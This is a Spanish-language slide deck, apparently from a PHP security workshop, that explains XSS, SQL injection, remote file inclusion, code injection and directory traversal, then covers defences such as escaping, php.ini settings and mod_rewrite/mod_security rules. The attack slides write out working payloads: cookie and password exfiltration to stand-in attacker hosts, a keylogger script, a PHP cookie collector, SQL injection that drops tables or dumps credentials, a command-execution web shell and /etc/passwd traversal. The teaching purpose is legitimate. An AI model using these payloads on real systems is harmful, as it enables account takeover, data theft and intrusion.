Avances tecnológicos del siglo XXI y ejemplos de estos
Presentación Workshop php Barcelona Seguridad
1. Proteger nuestros
sites PHP de ataques
Frederic Montes Quiles Oriol Jimenez Marcos U. Bernal
CTO phpAuction finday.com phpAuction
2. Presentación
Presentada por:
o Federico Montes Quiles, 35 años
• CTO de phpAuction en la actualidad
• Más de 10 años de experiencia en el sector, empleado de diversas agencias de publicidad
interactivas con grandes cuentas como Peugeot o Nestlé, director técnico y director de
sistemas GNU/LInux.
o Oriol Jiménez, 30 años
• 10 años de experiencia en el desarrollo de aplicaciones PHP y administración de sistemas *NIX
• Actualmente trabajando como Lead developer / CTO de finday.com, un nuevo .com de Grupo
Intercom.
o Marcos Ulises Bernal Robles
• Programador de phpAuction, en México D.F.
• Desarrollador durante 4 años en entornos PHP.
Metodología:
o Duración: 1 hora y media
• Ponencia: 30 minutos
• Parte Práctica: 1 hora
o Ejercicios Prácticos (Online)
3. Abstract
Desde que se publicaron las primeras páginas webs, hackers “éticos” y no tan
éticos, adictos al fastidio o tiempo e información ajena no han parado de
realizar actos a través de los cuales se producían accesos remotos con el fin de
ver, modificar y borrar contenidos remotos.
Además, la suplantación hace que un usuario “inocente” se vea ante la
posibilidad de que alguien en su nombre se tome determinadas licencias que
puedan ser perjudiciales a terceros y por ende a éste mismo.
Últimamente este tipo de ataques se han especializado y ya gozamos con una
amplia clasificación de los mismos, encontrándonos con terminología como
XSS, SQL-Injection, RFI, PHP Code injection, robo de cookies, ejecución
remota... y un largo etcétera.
El objetivo de esta presentación es realizar un estudio más o menos completo de
las diferentes formas de ataque y, lo más importante, cómo lograr evitarlas.
4. “XSS es un ataque basado en explotar vulnerabilidades
del sistema de validación de HTML incrustado. Su
nombre original quot;Cross Site Scriptingquot;, y renombrado
XSS para que no sea confundido con las hojas de estilo
en cascada (CSS), originalmente abarcaba cualquier
ataque que permitiera ejecutar código de quot;scriptingquot;, en
el contexto de otro dominio. “
- Wikipedia
5. Introducción
La definición de XSS va variando según quién elabora un artículo.
Nos concentraremos en los “Ataques a nuestra web”, sean o no XSS:
o HTML Injection
• Inserción de código HTML y Javascript no controlado con diversos propósitos
o SQL Injection
• Inserción de sentencias SQL con diversos propósitos
o Remote File Inclusion
• Ejecución de ficheros remotos a través del aplicativo por parte de un atacante
o PHP Code Injection
• Inserción de código PHP no controlado en nuestro código PHP (eval())
o Traversal directories
• Subconjunto del RFI que mediante accesos a directorios superiores en la jerarquía acceden a
ficheros remotos.
o Cookie Manipulation
• A través de * Injection se puede recuperar una cookie ajena y utilizarla para validaciones
fraudulentas
o URL Redirection
• Redirección a un tercer servidor donde nos preguntan datos privados
o Main Injection
• A través de formularios de “Envia a un amigo”
6. ¿Qué puede ocasionar?
Ademas de infortunios y dolores de cabeza:
o Inyección de virus
o iframes ocultos
o Ejecución de comandos del servidor
o Troyanos
o Phishing
o Accesos no permitidos
o Lectura de contraseñas
o Ficheros remotos
o Suplantaciones
o Visión de datos
o Borrado de los datos…
o Spam
Los atacantes suelen utilizar los servidores para realizar un ataque a terceros borrando
así la ruta originaria.
7. Vulnerabilidades
HTML Injection no persistente
Una buena forma de empezar sería emplear el buscador. En el campo de texto
introducimos el siguiente código:
<script>alert(quot;Aqui hay un bug”);</script>
Si nos saliera una ventana de Javascript diciendo
“Aqui hay un bug”
¡BINGO! encontramos la primera vulnerabilidad.
Así pues, podríamos poner el siguiente:
<script>document.documentElement.innerHTML=quot;HTML
nuevo”;</script>
Se podría cambiar su contenido HTML desde nuestro navegador.
8. Vulnerabilidades
HTML Injection persistente
Si este mismo error fuera en el mensaje de un foro con acceso al público:
<script>window.location='http://www.webataca.com/cookie.php?cookie='+document.cookie;
</script>
Estamos redirigiendo a cualquier víctima a una página remota no ha solicitada apoderándose de su
cookie y haciéndose pasar por él.
Los datos, además, quedarían grabados en su base de datos y por lo tanto es mucho más eficaz.
Se puede incluso hacer mas sutilmente con iframes: se pone el código dentro de un iframe oculto y se
reenvia la cookie que es procesada en el servidor atacante y guardada para uso fraudulento.
<?php
$cookie = $_GET['cookie'];
$f= fopen(quot;archivo.txtquot;,quot;aquot;);
fwrite($f, quot;$cookie nquot; ) ;
fclose($f)
;?>
9. Vulnerabilidades
Juguemos ahora un poco con la ingenuidad del usuario medio:
<script language=quot;javascriptquot;>
var password = prompt(quot;La sesión ha terminado. Por favor, vuelva a introducir su
clave:quot;);
document.location.href=quot;http://elqueataca.hack/pesca.php?passwd=quot; + password;
</script>
O un poco más elaborado:
<script language=quot;javascriptquot;>
var password = prompt(quot;La sesión ha terminado. Por favor, vuelva a introducir su
clave:quot;);
document.write(quot;<iframe src='http://elqueataca.hack/pesca.php?passwd=quot; +
password+quot;' style='display:none;'></iframe>quot;);
</script>
o El usuario ha podido “darnos” su contraseña sin que se haya dado cuenta.
o También podríamos usar un div oculto que nos enviara mediante POST y un
formulario
10. Vulnerabilidades
Es posible programar un sniffer que acompañara al usuario por toda su visita a la web,
adueñándonos de cada evento de la tecla pulsada: usuarios, passwords, e-mails.
document.onkeydown = keyDown;
document.forms[0].onsubmit = mostrar;
var txt = quot;quot;;
function keyDown (evento)
{
// Recuperamos evento y tecla
var objEvento =window.event? event : evento;
var tecla = objEvento.keyCode? objEvento.keyCode : objEvento.charCode;
var caracter = String.fromCharCode(tecla).toLowerCase();
if (tecla == 9) {caracter = quot; <tab> quot;;}
if (objEvento.shiftKey) {
caracter = String.fromCharCode(tecla).toUpperCase();
}
textocapturado += quot;quot; + caracter;
}
11. Vulnerabilidades
SQL Injection
El ataque típico de SQL Injection aprovecha la incorrecta manipulación de los datos en una aplicación
web y ejecuta código no deseado.
Imaginemos una base de datos llamada “Site” y una tabla llamada clientes.
1' OR 1=1; SELECT * FROM Clientes WHERE id <> '
y el siguiente código PHP para este buscador:
$q = $_GET['buscador'];
$sql = “SELECT * FROM buscador WHERE q='$q'”;
En realidad estaremos ejecutando:
$sql = “SELECT * FROM buscador WHERE q='1' OR 1=1; SELECT * FROM Clientes WHERE id <>
''”;
Cambiamos esta sentencia por:
1' OR 1=1; DROP TABLE Clientes; SELECT * FROM datos WHERE id LIKE '%
BINGO! DE NUEVO Tenemos un borrado total de la base de datos.
NOTA: $mysql_query() NO permite la ejecución de varios comandos seguidos para
evitar este tipo de incidencias, no así otro tipo de lenguajes
12. Vulnerabilidades
Dada la siguiente sentencia SELECT:
$sql = “SELECT * FROM clientes WHERE user='$login' AND passwd='$passwd'”;
Y el siguiente comando SQL Injection:
?user=pepe&password=x' OR 1=1
Qué creéis que pasaría?
;¿Y cómo recuperamos los datos necesarios para saber qué campos o tablas mirar?
Utilizando los mismos métodos; introducimos un SQL que sabemos que sea erróneo:
mySQL error: You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'FROM Clients ORDER by id ' at line 1
En esta sentencia, podemos apoderarnos del usuario y password
UNION ALL SELECT userid, CONCAT(username, ' ', password) FROM Clients WHERE ''='
Especial caso nos merece las secuencias que no incluyen un “quote”:
0 UNION ALL SELECT userid,password FROM Clients WHERE 1
En el siguiente ejemplo utilizamos la propiedad de MySQL LIMIT para la inyección de datos :
?q=999999, 10 UNION ALL SELECT username, password FROM Clients LIMIT 0
13. Vulnerabilidades
Ahora algo un poco más complicado:
o SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
o SELECT * INTO OUTFILE '/tmp/clients.txt' FROM Clients
o SELECT 0x61626... INTO OUTFILE '/tmp/c99shell.php'
Remote File Intrusion
En la última sentencia, nuestro site está totalmente expuesto a la inyección
de ficheros para la ejecución remota.
http://hcr.3dn.ru/expl/php/c99shell.txt
Remote File Intrusion, o intrusión mediante ficheros remotos, es un fichero no
controlado colado en nuestro servidor, y puede realizar un examen
exhaustivo, uploads, navegar… una pequeña gran puerta
<?
$cmd = $_GET['cmd'];
system('$cmd >> /var/www/resultado.txt');
?>
14. Vulnerabilidades
Una maléfica forma de realizar un RFI es empleando uno de los métodos más conocidos
por PHP para incluir ficheros remotos:
include, require, include_once, require_once.
Eso, combinado con una incorrecta configuración de nuestro servidor podría dar lugar a
líneas de código tan espantosas como:
include $path_url. '/config.inc.php';
Si nuestro servidor ha estado establecido como request_globals = on, un atacante
podría realizar:
http://www.victima.org/?include_path=http://www.maligno.com/rfi.php??
15. Vulnerabilidades
Code Injection
En el caso de PHP, por supuesto, el más famoso resulta de una mala utilización de la
sentencia eval()
$myvar = quot;varnamequot;;
$x = $_GET['arg'];
eval(quot;$myvar = $x;quot;);
$ mivar = quot;varnamequot;,
$ x = $ _GET [ 'arg'];
eval ( quot; $ myvar = $x;quot;);
o cualquier otro tipo de comando PHP
16. Vulnerabilidades
Traversal Directories
Como el RFI se basa en la situación de utilizar include, include_once, require,
require_once sin cuidado. Estas sentencias nos mostrarían el contenido de nuestro
fichero de passwords.
o http://www.victima.org/show.php?view=../../../../../etc/passwd
o Código vulnerable
<?php
$template = 'blue.php';
if ( isset( $_COOKIE['TEMPLATE'] ) )
$template = $_COOKIE['TEMPLATE'];
include ( quot;/var/www/appl/templates/quot; . $template );
?>
o Envío de las cabeceras modificadas
GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd
17. Evitar ataques
La lista de los ataques mencionados anteriormente puede crecer y sería interminable.
En este escenario, podríamos encontrarnos con dos situaciones bien diferentes:
o Tener un site montado y tener que protegerlo
o Programar un site desde cero
En ambos casos, el conocimiento de las técnicas empleadas por los hackers será
apreciado por vuestro servidor de manera inconmensurable. Y la actualización
constante de los sistemas nos evitará una gran pérdida de tiempo.
18. Evitar ataques
Escape de las entradas
o Los más habituales son el uso de:
addslashes() / stripslashes()
htmlentities($string, ENT_QUOTES)
htmlspecialchars($string)
mysql_real_string($string)
o Evitar que los formularios POST se llamen desde otro dominio que no sea en el
propio servidor.
o Se puede utilizar el sistema Captcha la famosa imagen deformada (ilegible a veces)
para evitar accesos de bots.
•
o Evitar HTML Injection sería utilizando la clase HTML Purify (http://htmlpurifier.org/)
donde podremos “limpiar” nuestro código de posibles intrusiones maliciosas.
o Evitar los ataques XSS mediante una lista de tipos esperados y tipos recibidos,
haciendo una comparación de los parámetros recibidos.
• If ( isset ( $_GET['id'] ) )
• $id = intval ($_GET['id']);
19. Evitar ataques
Códigos de seguridad
La introducción de códigos de seguridad que nosotros, mediante programación,
podemos ir asignando a cada par usuario/formulario sólo válido durante aquél
acceso al formulario (generación de sistemas md5, sha1, etcétera).
PHP.INI
¿Qué clase de configuración sería la óptima para que un sistema PHP fuera más seguro
contra todo tipo de ataques?
o openbase_dir
o allow_furl_open off
o register_globals off
o safe_mode on
o disable_functions <lista de funciones>
o disable_classes <lista de clases>
o get_magic_quotes_gpc on
20. Evitar ataques
Escaneo de puertos
Una manera de evitar ataques a todo sistema operativo, sería mediante la ejecución de
código remoto o inyección de código no deseado en servicios que puedan tener
relación con nuestro sistema. Los más conocidos son nmap y nessus.
Escaneo de vulnerabilidades web
o Acunetix, con una gran variante de sistemas de inyección, una base de datos amplia
y una interfaz muy amigable.
o SSS (Shadow Security Scanner) ofrece también el sondeo de otros protocolos como
FTP, NetBios, módulos de Apache , etc.
o Fuzzing, las diferentes técnicas de testeo de aplicativos que generan datos
secuenciales y aleatorios para obtener así las vulnerabilidades de la victima.
http://www.infosecinstitute.com/blog/2005/12/fuzzers-ultimate-list.html
21. Evitar ataques
PHP IDS
http://php-ids.org/
Sistema basado en PHP que actúa como IDS (Intrusion Detect System) y busca algún
tipo de inyección o vulnerabilidad. Puede detectar XSS, SQL Injection, RFI y ataques
LDAP Injection y distintos tipos de CMS.
Módulos Apache
o mod_rewrite
Famoso sobre todo para el uso de URL-Friendly. Puede ponerse en el fichero
.htaccess, haciendo una protección personalizada sin dependencia del webmaster.
o mod_security
Un módulo especial de seguridad para Apache. No está muy extendido su uso y
muchos proveedores de hosting optan por no instalarlo en sus sistemas.
22. mod_rewrite http://sentidoweb.com/2008/04/09/evitar-boots-molestos-mediante-htaccess.php
o RewriteCond %{QUERY_STRING} .txt(?)+$ [NC,OR]
mod_rewrite (ejemplo de libre uso)
o RewriteCond %{QUERY_STRING} (?)+$ [NC,OR]
o <ifModule mod_rewrite.c>
o RewriteCond %{QUERY_STRING} (<|%3C).*script.*(>|
o Options +FollowSymlinks %3E) [NC,OR]
o RewriteEngine On o RewriteCond %{QUERY_STRING} GLOBALS(=|[|%[0-9A-
o RewriteCond %{QUERY_STRING} load_file.*(.*) [NC,OR] Z]{0,2}) [OR]
o RewriteCond %{QUERY_STRING} into.+file [NC,OR]
o RewriteCond %{QUERY_STRING} _REQUEST(=|[|%[0-9A-
Z]{0,2})
o RewriteCond %{QUERY_STRING} into.+outfile [NC,OR]
o RewriteRule .* - [F]
o RewriteCond %{QUERY_STRING} load.+data [NC,OR]
o
o RewriteCond %{QUERY_STRING} select.+from [NC,OR]
o RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK|
o RewriteCond %{QUERY_STRING} create.+table [NC,OR] OPTIONS|HEAD)
o RewriteCond %{QUERY_STRING} drop.+database [NC,OR] o RewriteRule .* - [F]
o RewriteCond %{QUERY_STRING} drop.+database [NC,OR] o
o RewriteCond %{QUERY_STRING} drop.+table [NC,OR] o RewriteCond %{HTTP_USER_AGENT} libwww-perl [NC,OR]
o RewriteCond %{QUERY_STRING} drop.+column [NC,OR] o RewriteCond %{HTTP_USER_AGENT} Indy Library [NC]
o RewriteCond %{QUERY_STRING} drop.+procedure [NC,OR] o RewriteRule .* - [F]
o RewriteCond %{QUERY_STRING} update.+set [NC,OR] o </IfModule>
o RewriteCond %{QUERY_STRING} insert.+into.+values [NC,OR]
No actua sobre POST
o RewriteCond %{QUERY_STRING} insert.+into [NC,OR]
se puede poner en .htaccess
o RewriteCond %{QUERY_STRING} bulk.+insert [NC,OR]
o RewriteCond %{QUERY_STRING} union.+select [NC,OR]
o RewriteCond %{QUERY_STRING} alter.+table [NC,OR]
o RewriteCond %{QUERY_STRING} base64_encode.*(.*) [NC,OR]
o
23. mod_security
o Módulo para Apache que actúa con un sistema de
reglas para evitar ataques externos a través de
nuestro web server
o Es un IDS (Intrusion Detect System) además de
tener características propias de un firewall
o Utiliza el nivel de protocolo HTTP para filtrar los
mensajes enviados a través de las cabeceras
o Tiene las siguientes funcionalidades:
• Filtrado de peticiones antes de llegar al
servidor
• Análisis de todos los contenidos POST
• Sistema de log de auditoría
• Normalización de las URL (ante las técnicas de
evasión de carácteres)
• Filtra también HTTPS
• Verificación de los rangos de bytes
24. mod_security
# You normally won't need debug logging
<IfModule mod_security.c>
SecFilterDebugLevel 0
SecFilterDebugLog logs/modsec_debug.log
# Enable ModSecurity
SecFilterEngine On
# Only accept request encodings we know how to
handle
# Reject requests with status 403
# we exclude GET requests from this because some
SecFilterDefaultAction quot;deny,log,status:403quot;
(automated)
# clients supply quot;text/htmlquot; as Content-Type
# Some sane defaults
SecFilterSelective REQUEST_METHOD quot;!^(GET|HEAD)$quot;
SecFilterScanPOST On
chain
SecFilterCheckURLEncoding On
SecFilterSelective HTTP_Content-Type quot;!
SecFilterCheckUnicodeEncoding Off
(^application/x-www-form-urlencoded$|
^multipart/form-data;)quot;
# Accept almost all byte values
SecFilterForceByteRange 1 255
# Do not accept GET or HEAD requests with bodies
SecFilterSelective REQUEST_METHOD quot;^(GET|HEAD)$quot;
# Server masking is optional
chain
# SecServerSignature quot;Microsoft-IIS/5.0quot;
SecFilterSelective HTTP_Content-Length quot;!^$quot;
# Designate a directory for temporary files
# Require Content-Length to be provided with
# storage. It is a good idea to change the
# every POST request
# value below to a private directory, just as
SecFilterSelective REQUEST_METHOD quot;^POST$quot; chain
# an additional measure against race conditions
SecFilterSelective HTTP_Content-Length quot;^$quot;
SecUploadDir /tmp
SecUploadKeepFiles Off
# Don't accept transfer encodings we know we don't
handle
# Only record the interesting stuff
SecFilterSelective HTTP_Transfer-Encoding quot;!^$quot;
SecAuditEngine RelevantOnly
# Uncomment below to record responses with unusual statuses
</IfModule>
# SecAuditLogRelevantStatus ^5
SecAuditLog logs/modsec_audit.log
25. Conclusión
No hay ninguna aplicación que no haya sucumbido ante el ejercicio maquiavélico de
hackers. Google, Yahoo!, Amazon, hasta los CMS más conocidos, nadie está a salvo
de la retorcida mente de estos individuos. Así que si alguien es víctima de un
ataque, que no se desmoralice y aprenda de la experiencia.
Un sistema ya desenvuelto nos pone en una tesitura muy complicada, debido a que hay
que verificar línea a línea los problemas, las vulnerabilidades potenciales y el
entendimiento del código.
No es un caso trivial tener que proteger un site web. La única forma de obstaculizar el
ejercicio de estos atacantes será conocer cuáles son sus técnicas, mantenerse
actualizado regularmente de las vulnerabilidades de nuestro entorno, en caso de ser
un programa conocido mantenerse alerta a los bugs.
Además, un sistema IDS (snort) que nos comunique nuestros logs, su evolución y la
constante evaluación de las vulnerabilidades, junto con un escaneo automático,
técnicas fuzz, una programación sólida, y algún módulo de seguridad harán de
nuestro servidor web una fortaleza (casi) inexpugnable.
26. ¡Gracias por su
atención!
Podrá encontrar más información en el artículo
que se publicará en phpbarcelona.org
Enlaces de Interés
o http://ha.ckers.org/xss.html
o http://www.hardened-php.net
o http://www.securityfocus.com/vulnerabilities
o http://www.websecurity.es/
o http://www.webappsec.org/
o http://phpsecurity.wordpress.com/
o http://www.elhacker.net/
o http://www.infosecinstitute.com/blog/2005/12/fuzzers-ultimate-list.html
o http://google.dirson.com/post/3632-coleccion-vulnerabilidades-xss-aplicaciones/
o http://www.squarefree.com/securitytips/web-developers.html
o http://www.cgisecurity.com/ajax/
o http://www.onlamp.com/pub/a/apache/2003/11/26/mod_security.html
o http://www.securityfocus.com/
o http://www.securityfocus.com/columnists/418